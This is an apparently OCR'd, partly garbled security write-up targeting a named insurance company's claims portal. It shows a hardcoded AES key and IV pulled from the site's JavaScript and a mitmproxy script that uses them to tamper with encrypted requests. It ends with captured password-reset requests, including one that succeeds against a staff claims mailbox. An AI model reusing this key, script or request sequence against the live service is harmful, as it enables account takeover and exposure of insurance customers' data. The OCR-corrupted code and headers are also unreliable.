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1. Vil &4t https://ezclaim.cntaiping.sg/workshop/#/login

Retrieve Password

‘ 123@qq.com|

¥

Send verify Code

Submit and Login

Go log In


https://ezclaim.cntaiping.sg/workshop/#/login

[Internal]

2. ERBEEUEIREAT T aes N Al

@ NEW rassworg

RiFE  MEREEGESE & [ S - R T < ) ScanAnnotation  superSearchPlusTools

[ contentjs jquery-1.83.js X content-script.js chrome-browser-polyfill js ¥ X chunk-60f95584.4fb978a6.js >

)
r.default)(e).toString();
t.substring(8, 24)
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1
t.Aes = {
encrypt: (e, t) { e = "{\"toMail\":\"123@qq.com\"}", t = "f68312d2c1bbc93b™
n = arguments.length > 2 && @ !=— arguments[2] ? arguments[2] - ¢ @A @ADdsc” __arouments = Ar|
a o.default_parse(t) a = i {words: Array(4), Jytes: 16 3 c1bbc93b™
ault.parse(n) 1 = init {words: Array(4), sigBytes: 16}, ds c@@2021@@Ddsc”
ault._parse(e) r = r_init {words: Array , sigBytes: 23}, “{\"toMail\":\"123@qq.com\"}"
-default_encrypt(r, a,

AgshiEfEse: CBC~ | #zs: pkoesTpadding ~  ®$3iE: 128fi ~ ®$H: f68312d2c1bbco3b {®E: Ddsc@@2021@@Dd: ¥#t: base64

{"tomail":"123(@qq.com"}

0sR5kOEVhAKW+BD9Taf2pbKe/wp9Glu2Hg fdWakE2CA=
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4. import binascii

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

input_string = "Hello, World!"

Import requests

import urllib3

from mitmproxy import http, ctx
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
Import requests

import urllib3

import base64

Import json

from Crypto.Cipher import AES

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from termcolor import cprint

from urllib.parse import quote
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from urllib.parse import quote

defbase64_to_hex(base64 _data)
decoded_bytes = base64.b64decode(base64_data)
hex_data = decoded_bytes.hex()
return hex_data

class AesBase64(object)
def (self, key: str, iv: str)
key = key.encode('utf-8")
.iv = iv.encode('utf-8")
.mode = AES.MODE_CBC

def encrypt(self, content)
print(content)
json.dumps(content)
cipher = AES.new(self.key, AES.MODE_CBC, Jiv)
content_padding .pkcs7padding(content)
encrypt_bytes cipher.encrypt(content_padding.encode('utf-
81)
return base64.b64encode(encrypt_bytes)

def decrypt(self, content)
cipher = AES.new(se!f.key, AES.MODE_CBC, Jiv)
content = base64.b64decode(content)
text = cipher.decrypt(content).decode('utf-8")

return self.pkcs7unpadding(text)

def pkcs7unpadding(self, text)
length = len(text)
unpadding = ord(text[length - 1])
return text[0:length - unpadding]

def pkcs7padding(self, text)

bs =16

length = len(text)

bytes_length = len(text.encode('utf-8'))

padding_size length if (bytes_length length) else
bytes_length

padding = bs - padding_size % bs

padding_text = chr(padding) * padding
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return text + padding_text

class zzztest

def (self)

test=""

def request(self,flowl: http.HTTPFlow)
if "ezclaim-gateway.cntaiping.sg" == flowl.request.host

req_body = flowl.request.urlencoded_form
email_name - req_body['data’]
key = "f68312d2c1bbc93b"
iv="Ddsc@@2021@@Ddsc"
ccc = AesBase64 (key, iv)
77z = ccc.encrypt(email_name)
ctx.log.info(str(zzz, "utf-8"))
req_body|['data'] =str(zzz, "utf-8")

def response(self, flow1: http.HTTPFlow)
data = flow1.response.get_text()
data_m = json.loads(data)['data’]
key = "f68312d2c1bbc93b"
iv="Ddsc@@2021@@Ddsc"

ccc = AesBase64(key, iv)
sss = ccc.decrypt(data_m)
ctx.log.info(sss)

flowl.response.text = sss

addons = [
zzztest()

mitmdump —s aes—cbc—login.py —p 7777
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1 POST [ezclaim/auth/oauth/workshop/resetPassMailVerifyCode HTTP/2
Host: ezelaim-gatewsy.entaiping.sg

Content-Length: 2%

Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";w="122"
Accept: application/json, text/plain, */*

Signkey:

oo e

qceOmGAKMBG1BSos2FRZeG7YBgmks4WTGgovz tk+eHul3huah+1YIE2WnoNdzbB Twa(b/ X69tZkx /0TeWbmxSFNZIE

P419i2EjBgoHZLi8MjUKIYsEravT/UZkRec2XHEOSU+jOUiBBFpKEBYLW38DszkBk171RVELEGSG1STUY=
Content-Type: application/x-www-form-urlencoded;charset=UTF-8

Sec-Ch-Ua-Mobile: 78

User-Agent: Mozilla/5.8 (Windows NT 18.8; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/122.8.8.8 Safari/537.36

Sec-Ch-Ua-Platform: "Windows"

Origin: https://fezclain.cntaiping.sg

Sec-Fetch-Site: same-site

Sec-Fetch-Mode: cors

Sec-Fetch-Des
Referer: https://ezclaim.cntaiping.sg/
Accept-Encading: gzip, deflate
Accept-Language: zh-CN,zh;q=8.9
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data={"toMail":"1230qq .coml}ll
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Date: Fri, 22 Mar 2824 14:28:11 GMT
Content-Type: application/json
Content-Length: 58

Vary: Origin

Vary: Access-Control-Request-Method

! Vary: Access-Control-Request-Headers

i ® o e

Access-Control-Allow-Origin: https://ezclaim.cntaiping.sg
Access-Control-Allow-Credentials: true

X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=8, must-revalidate

3 Pragma: no-cache
14 Expires: B

15
16
17
18

Strict-Transport-Security: max-age=31536888 ; includeSubDomains

X-Frame-Options: DENY

{"code":580, "msg
R

ailbox or password error”,"data":null}

POST /ezclaim/auth/oauth/workshop/resetPassMailVerifyCode HTTP/2

2 Host: ezclaim-gateway.cntaiping.sg
3 Content-Length: 46

6 Signkey:

qeelnGAKHBG1BS0s2FRZeG7YBqmks4WTGgovz tk+eHuD3huah+1YIE2WnoNdzbBTwa0b/X69tZkx /0TeNbmxS FNZTE
P419i2E jBqoHZIi8MjUKIYsEravT/UZkRc2XHEQSU+ jOUiBBFpKEBILWIBDszkBk171RVELEGSGLETURY=
7 Content-Type: application/x-www-form-urlencoded;charset=UTF-8

Sec-Ch-Ua-Mobile: 78

Gecko) Chrome/122.8.8.8 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https:/fezclaim.cntaiping.sg
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors|

Sec-Fetch-Dest: empty

Referer: https:/fezclaim.cntaiping.sof
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q-0.9

Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome"
Accept: application/json, text/plain, */*

User-Agent: Mozilla/5.8 (Windows NT 18.8; Winéé; x64) AppleWebKit/537.35 (KHTHL, like

'r data={"tuHail":"c]aimsdeptﬁsg.Entaiping.:um"*

 m— —
HTTP/2 288 OK

2 Date: Fri, 22 Mar 2024 14:28:41 GMT
3 Content-Type: application/json

4 Content-Length: 91

Vary: Origin

Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers

2 Access-Contral-Allow-Origin: https://ezclain.cntaiping.sg

Access-Control-Allow-Credentials: true
18 X-Content-Type-Options: nosniff
11 X-Xss-Protection: 1; mode=block
12 Cache-Control: n
13 Pragma: no-cache
14 Expires: B

15 Strict-Transport-Security: max-age=31536888 ; includeSubDomains

16 X-Frame-Options: DENY

cache, no-store, max-age=8, must-revalidate

17
12 {"code":20@,"msg":"Operation succeeded”,"data":{"uuid":"763a883989894ab88448125302b3aded" }
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